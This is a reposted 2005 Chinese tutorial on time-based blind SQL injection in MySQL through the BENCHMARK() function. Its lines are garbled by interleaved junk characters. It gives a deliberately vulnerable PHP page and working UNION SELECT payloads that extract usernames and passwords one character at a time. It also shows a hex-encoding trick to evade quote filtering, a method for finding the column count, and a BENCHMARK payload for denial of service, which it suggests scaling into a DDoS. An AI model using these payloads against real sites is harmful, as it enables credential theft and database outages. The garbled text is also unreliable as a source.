MYSQL中BENCHMARK函数的利用
& C9 B& y* P, y% h) B本文作者:SuperHei+ Y. w3 X' e5 s2 X
文章性质:原创
( R" @% E$ D* E) N# Q发布日期:2005-01-02& x0 q8 y# i1 g n) ]
完成日期:2004-07-09 " q: w! |9 R2 Q5 _. m6 {
第一部5 N4 Y, u+ L1 O
3 E! Y$ [1 O2 ]: ]' @0 ^
利用时间推延进行注射---BENCHMARK函数在注射中的利用 9 y4 d3 j; {, H2 {+ z( t$ _! l5 T7 \
- f' ` o0 ?, J- W1 x
一.前言/思路( [0 \8 ^' {* @' @4 g) K
* S, j) |, m- J! }# V 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
+ d: o4 }/ ~% M; C0 k) n
% k. t% \/ L N, n 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。, ~" C6 ?1 t( \2 E
% U; Y! L6 z# Q
二.关于BENCHMARK函数4 C% `6 Z" I3 W) y {% n" R
: ~ T. q0 V# v( J, |. d# [) M7 l4 x 在MySQL参考手册里可以看到如下描叙: - ~* { O; y6 O( h3 v$ `. E; n, R
$ O- {* t/ z2 H. C' s
+ t$ N7 @9 }7 `% ~--------------------------------------------------------------------------------
Q- |/ F1 c* Q5 x3 s' Y9 u# E( l/ G& n3 M3 D
BENCHMARK(count,expr)
, g$ j7 m! @- M. d* D" fBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
7 m# f$ F1 Z, D8 E, \" R" Wmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 9 }1 L! ]2 O$ J
+----------------------------------------------+
) ~7 C- ^5 f$ H! e/ J6 ^0 [+ Y| BENCHMARK(1000000,encode("hello","goodbye")) |
2 l6 H3 H+ C( X( N+----------------------------------------------+ , U* F, S; r2 d2 r# `0 J
| 0 | 1 w# e, E5 [0 |# I
+----------------------------------------------+
. C2 C. M& O7 t2 v' B+ L" }" V% q1 row in set (4.74 sec)
/ c( b4 o; X. E3 b9 F' X2 | H) S" ~7 a1 Z
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
+ W& j" P$ L' X. C |2 p: X# x1 m/ w3 H; N) `3 B) P
" P9 B3 ~: p/ E6 u' l
--------------------------------------------------------------------------------# Z3 s; S1 ^0 d4 W% O# R
: Y6 ^" z/ r* j. l( g6 k
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: , R% H# o8 n' D& o# T$ H2 X5 }
, u* o( @ c5 O& r+ C! }8 umysql> select md5( 'test' ); 2 P5 z9 J; k- @$ F7 |+ U. y( C. x2 g! r
+----------------------------------+ # R" ~! \8 \' c7 J# l4 B N `
| md5( 'test' ) | 3 c6 S# i" s! t; S0 |
+----------------------------------+
, p# d4 Y6 I' o: n7 r2 F$ x/ P| 098f6bcd4621d373cade4e832627b4f6 |
3 r8 B$ x* |: k5 f9 N; K+----------------------------------+
( J n! u- s- _ r) l+ {1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
( B# p! _8 ^& Y* r9 `, S
5 y, G0 B, o* | V! Z- emysql> select benchmark( 500000, md5( 'test' ) );
8 \7 j: H& X0 b- t! ]+------------------------------------+
! j: O# A" b, p' f' f8 n- a| benchmark( 500000, md5( 'test' ) ) |
+ Z6 T) a) C: H1 C+------------------------------------+
; m6 E' W! P+ h x! A| 0 |
+ f( v* I u' [+------------------------------------+
/ q5 p0 [: R( _$ f, o: i' ]& m" j1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) D$ y. Z/ ^: P& ]: f6 w. T6 W, e$ a
+ G2 N% b3 W' [3 i; d9 u1 X+ N
% r9 a5 m8 w; p* j; _# u& A* } 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 6 t+ E2 u6 ^9 O' Z0 ?) z; d
% M6 C4 }( s' ^ z b, q
三.具体例子
% S8 D n6 x5 B( K$ L' j& Q5 m: L9 _+ M. ]
首先我们看个简单的php代码:6 u- z/ N# @7 r; m& J
% N) g2 {2 T2 t' U0 [: |
< ?php ! j. l) @ Z* b9 b1 T, E9 y0 b
$servername = "localhost";
# c' O4 S( g& F4 r# p7 r$ |$dbusername = "root";
9 }5 S- | F/ Y9 n* ^0 ~- Z* A; ]$dbpassword = ""; - ~$ |5 |2 {& x2 e% @1 |- r! P K7 a
$dbname = "injection";
9 v& }/ l! R7 [ R+ R( c3 b* e' b
% R, I1 I* I) K! Omysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
Z+ i( v ]; q8 i5 e. o0 w/ w# n: \5 \0 `# ?
$sql = "SELECT * FROM article WHERE articleid=$id"; ?6 {/ n% Z8 e
$result = mysql_db_query($dbname,$sql);
4 U. B7 {) r( A7 a$row = mysql_fetch_array($result);
, l, d/ v% F' z# A. U+ c, s: ]
5 R2 }" g& |/ w9 Y5 B5 a0 J' R+ Nif (!$row) H l* d- g: @- J- W9 t
{
& B, U1 o( q! Z2 V: jexit;
/ I" w& k- L2 e0 V! v; x" R( q6 [9 C* u}
5 a+ j3 G/ H6 O# o% Y9 D" Y?>0 b4 L. X. a6 k& J. s R
, w1 ~, y/ m% C" `) U- x' Q4 _
! u0 G" @6 k4 [. k, C4 P
数据库injection结构和内容如下:( c C( v' N$ q$ G) _/ {
& |# V+ k7 ~/ P: }5 q% L+ X9 d# 数据库 : `injection` * J5 o3 o: A D; }( y. q" ^
# . k& `, h7 K. [, P5 E0 T- S% C3 a
8 p7 F+ j; T$ k' Z' e) e" W. ~+ Z
# -------------------------------------------------------- , H6 I" \ B- |5 z& @
6 _, o8 z+ \# {& I% W1 t- _#
/ S9 E" }/ b1 F# 表的结构 `article` 2 G) h0 M$ ~; i- Y: G& u! V6 e
# % O% {6 p4 }2 f9 l( H' i5 T
8 |$ t5 N+ i2 t. X" U% s
CREATE TABLE `article` (
( U2 N1 b5 Z$ T* h8 \`articleid` int(11) NOT NULL auto_increment, * K! D. E; R" y* p: W. p N
`title` varchar(100) NOT NULL default '', # R8 B4 R, \$ c* ~% M1 ^3 H
`content` text NOT NULL,
; @) v; ]* h/ {- Q- Z1 hPRIMARY KEY (`articleid`)
# x* B% t5 [8 c P; C) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 N! _8 }% o2 |" d. l
1 n. U8 n) I7 [1 g+ c7 m0 q0 u+ ^#
! g4 v2 f* U' K$ d9 \# 导出表中的数据 `article`
, b( z- L/ R7 Z" A# 1 ~) E& C( y! ?5 l- g, B
. F4 l$ O1 `) i* j; K8 h
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* r" ]+ H; [9 W+ O* k! L% \0 ?INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); , n$ z7 ?9 S1 Y* A, A
) M1 @4 U1 m7 B# --------------------------------------------------------
, }1 n# c7 Y5 _9 q$ }
( Z! g0 z( a! t8 N, ~#
. W7 p5 \ _( E/ k7 W# 表的结构 `user`
+ H: t/ X! f3 b8 r9 o#
* d5 l8 `3 @2 {
3 T- g: g3 u: ~3 iCREATE TABLE `user` ( / S0 n5 J: u6 N5 t8 q
`userid` int(11) NOT NULL auto_increment, 8 g9 Z7 U: X, e' o/ C, u
`username` varchar(20) NOT NULL default '',
: V! K1 I7 D% }0 K`password` varchar(20) NOT NULL default '', 3 |) T( Z$ i6 e4 N# {6 c6 ?
PRIMARY KEY (`userid`) + z2 ] q$ P" ?; W- p! x
) TYPE=MyISAM AUTO_INCREMENT=3 ; % t# ]# L* y; T( |
. [0 Z# W3 L4 M0 O. }% c% N# . Y7 [( |( J/ n0 Y2 [
# 导出表中的数据 `user`
0 W: D( \ ]# \/ Q# ; I0 R: K( x `2 J6 ^
\ V) P" [$ W* vINSERT INTO `user` VALUES (1, 'angel', 'mypass'); - h( N5 ~* `# i2 {3 y! U
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
o$ z Y7 Z4 k/ h% z) T9 }
( f3 W, |; ~: T9 v: G6 w5 `* @% Q# S" o! k
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
2 o w+ ]3 N9 \/ n4 x; E b& i6 |/ K( h1 _3 z. ]- X# N) P
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
; W' X' J3 b8 N. u- ?* b
! i1 u1 J) w8 n4 T$ g" ~+ x; d+ \: C4 Q; v& y/ k7 q
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
" _) q& w+ y" `
7 M: n: B3 V! shttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*9 M( R+ f9 w9 Z5 P
% C8 a7 V+ _8 \! }* y# ^5 E7 v; r3 D9 W! u6 M6 n8 l$ a
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 + ^! |7 j$ X$ [4 W- T! }
5 I+ b) f6 R5 G0 w" v! w 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
, F# a; n \( P6 R4 `0 ?! v# [6 Z7 _# V' K& \
第二部
Y8 |& P# U# L$ P( c. l% D3 V- j- q; z, i8 a2 I* A
利用BENCHMARK函数进行ddos攻击 7 t) O7 J* A0 C$ N9 V1 P) Q
9 G1 [, R' K% C
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
% u0 K9 u" R# \$ {
% H( [; \+ f' ^: ^& Y' Y8 ?3 Ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
' h z7 F8 w" m: D- Z; g
1 c8 V7 C' Z, q7 C* S; ?( z& H2 O7 k% u8 X$ d
小结4 N( C- e% ~2 @4 q$ T c( r; j
. P* C1 W& g- _; s% |. k. H 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。. F$ p. A b2 n" K
3 C! x; Q) ]- o4 x3 L
. o/ s& y0 Q5 ^3 u |